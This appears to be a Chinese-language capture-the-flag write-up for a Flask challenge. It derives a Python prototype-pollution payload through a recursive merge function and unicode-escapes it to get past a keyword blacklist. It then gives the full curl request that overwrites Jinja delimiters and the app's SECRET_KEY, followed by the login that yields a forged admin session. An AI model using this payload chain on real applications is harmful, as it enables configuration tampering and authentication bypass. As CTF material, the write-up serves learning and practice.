1. 生成Payload
from flask import Flask
import os
import hashlib
import json
import re
def generate_random_md5():
random_string = os.urandom(16)
md5_hash = hashlib.md5(random_string)
return md5_hash.hexdigest()
def filter(user_input):
blacklisted_patterns = ['init', 'global', 'env', 'app', '_', 'string']
for pattern in blacklisted_patterns:
if re.search(pattern, user_input, re.IGNORECASE):
return True
return False
app = Flask(__name__)
app.secret_key = generate_random_md5()
class Evil():
def __init__(self):
pass
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
"""
3. 反推merge({"jinja_env": {"variable_end_string": "#]"}}, evil.__init__.__globals__["app"])
- merge(v, dst.get(k)) -> merge({"jinja_env": {"variable_end_string": "#]"}}, evil.__init__.__globals__.get("app"))
- v = {"jinja_env": {"variable_end_string": "#]"}}
- dst = evil.__init__.__globals__
- k = "app"
- src = {k:v} = {"app":{"jinja_env": {"variable_end_string": "#]"}}}
- 带入src, dst
- 反推merge({"app":{"jinja_env": {"variable_end_string": "#]"}}}, evil.__init__.__globals__)
- __globals__是属性, 跳转到merge(v, getattr(dst, k))
"""
else:
dst[k] = v
# 反推evil.__init__.__globals__["app"].config["SECRET_KEY"] = "password"的起点, 其他同理
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
"""
2. 反推merge({"variable_end_string": "#]"}, evil.__init__.__globals__["app"].jinja_env)
- merge(v, getattr(dst, k)) -> merge({"variable_end_string": "#]"}, getattr(evil.__init__.__globals__["app"], "jinja_env"))
- v = {"variable_end_string": "#]"}
- dst = evil.__init__.__globals__["app"]
- k = "jinja_env"
- src = {k:v} = {"jinja_env": {"variable_end_string": "#]"}}
- 带入src, dst
- 反推merge({"jinja_env": {"variable_end_string": "#]"}}, evil.__init__.__globals__["app"])
- app是元素, 跳转到merge(v, dst.get(k))
4. 反推merge({"app":{"jinja_env": {"variable_end_string": "#]"}}}, evil.__init__.__globals__)
- merge(v, getattr(dst, k)) -> merge({"app":{"jinja_env": {"variable_end_string": "#]"}}}, getattr(evil.__init__, "__globals__"))
- v = {"app":{"jinja_env": {"variable_end_string": "#]"}}}
- dst = evil.__init__
- k = "__globals__"
- src = {k:v} = {"__globals__":{"app":{"jinja_env": {"variable_end_string": "#]"}}}}
- 带入src, dst
- 反推merge({"__globals__":{"app":{"jinja_env": {"variable_end_string": "#]"}}}}, evil.__init__)
- "__init__"是属性, 跳转到merge(v, getattr(dst, k))
5. 反推merge({"__globals__":{"app":{"jinja_env": {"variable_end_string": "#]"}}}}, evil.__init__)
- merge(v, getattr(dst, k)) -> merge({"__globals__":{"app":{"jinja_env": {"variable_end_string": "#]"}}}}, getattr(evil, "__init__"))
- v = {"__globals__":{"app":{"jinja_env": {"variable_end_string": "#]"}}}}
- dst = evil
- k = "__init__"
- src = {k:v} = {"__init__":{"__globals__":{"app":{"jinja_env": {"variable_end_string": "#]"}}}}}
- 带入src, dst
- 反推merge({"__init__":{"__globals__":{"app":{"jinja_env": {"variable_end_string": "#]"}}}}}, evil)
- 得到payload
"""
else:
setattr(dst, k, v)
"""
1.反推evil.__init__.__globals__["app"].jinja_env.variable_end_string = "#]"
- setattr(dst, k, v) -> setattr(evil.__init__.__globals__["app"].jinja_env, "variable_end_string", "#]")
- dst = evil.__init__.__globals__["app"].jinja_env
- k = "variable_end_string"
- v = "#]"
- src = {k:v} = {"variable_end_string": "#]"}
- 带入src, dst
- 反推merge({"variable_end_string": "#]"}, evil.__init__.__globals__["app"].jinja_env)
- jiaja_env是属性, 跳转到merge(v, getattr(dst, k))
"""
evil = Evil()
payload = {
"__init__": {
"__globals__": {
"app": {
"jinja_env": {
"variable_start_string": "[#",
"variable_end_string": "#]"
},
"config" : {
"SECRET_KEY" :"password"
}
}
}
}
}
def json_to_unicode(string):
result = ""
for i in string:
if i not in ' :",{}':
result += fr"\u{ord(i):04x}"
# result += r"\u" + hex(ord(i))[2:].zfill(4)
else:
result += i
return result
payload = json_to_unicode(json.dumps(payload,separators=(',', ':')))
print("BEFORE")
print(f" jinja_env.variable_start_string = {app.jinja_env.variable_start_string}")
print(f" jinja_env.variable_end_string = {app.jinja_env.variable_end_string}")
print(f" config['SECRET_KEY'] = {app.config['SECRET_KEY']}")
print("PAYLOAD")
print(payload)
"""
{"\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f":{"\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f":{"\u0061\u0070\u0070":{"\u006a\u0069\u006e\u006a\u0061\u005f\u0065\u006e\u0076":{"\u0076\u0061\u0072\u0069\u0061\u0062\u006c\u0065\u005f\u0073\u0074\u0061\u0072\u0074\u005f\u0073\u0074\u0072\u0069\u006e\u0067":"\u005b\u0023","\u0076\u0061\u0072\u0069\u0061\u0062\u006c\u0065\u005f\u0065\u006e\u0064\u005f\u0073\u0074\u0072\u0069\u006e\u0067":"\u0023\u005d"},"\u0063\u006f\u006e\u0066\u0069\u0067":{"\u0053\u0045\u0043\u0052\u0045\u0054\u005f\u004b\u0045\u0059":"\u0070\u0061\u0073\u0073\u0077\u006f\u0072\u0064"}}}}}
"""
if not filter(str(payload)):
merge(json.loads(payload), evil)
print("AFTER")
print(f" jinja_env.variable_start_string = {app.jinja_env.variable_start_string}")
print(f" jinja_env.variable_end_string = {app.jinja_env.variable_end_string}")
print(f" config['SECRET_KEY'] = {app.config['SECRET_KEY']}")
2. 污染
- POST /
- 注意Content-Type是application/json
curl -i -X POST \
-H "Content-Type:application/json" \
-d \
'{"\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f":{"\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f":{"\u0061\u0070\u0070":{"\u006a\u0069\u006e\u006a\u0061\u005f\u0065\u006e\u0076":{"\u0076\u0061\u0072\u0069\u0061\u0062\u006c\u0065\u005f\u0073\u0074\u0061\u0072\u0074\u005f\u0073\u0074\u0072\u0069\u006e\u0067":"\u005b\u0023","\u0076\u0061\u0072\u0069\u0061\u0062\u006c\u0065\u005f\u0065\u006e\u0064\u005f\u0073\u0074\u0072\u0069\u006e\u0067":"\u0023\u005d"},"\u0063\u006f\u006e\u0066\u0069\u0067":{"\u0053\u0045\u0043\u0052\u0045\u0054\u005f\u004b\u0045\u0059":"\u0070\u0061\u0073\u0073\u0077\u006f\u0072\u0064"}}}}}' \
'https://b6c08848-2988-4232-914a-962767edd7e7.challenge.ctf.show/'
- Response:
- MYBE YOU SHOULD GO /ADMIN TO SEE WHAT HAPPENED
3. 登录
#这里登录
@app.route('/',methods=['POST'])
def index():
username = request.form.get('username')
password = request.form.get('password')
session["username"] = username
session["password"] = password
- POST /
- username=adminer&password=password
- RESPONSE
- 得到Response的set-cookie: session=.eJyrVipILC4uzy9KUbJCMHWUSotTi_ISc1OBookpuZl5qUVKtQBn1A_P.aiqAZg.wlNJx-6g_t7LisID7XTr4sb_Ipc; HttpOnly; Path=/
4. 获取flag
# 用户名是adminer
if username == "adminer" and password == app.secret_key: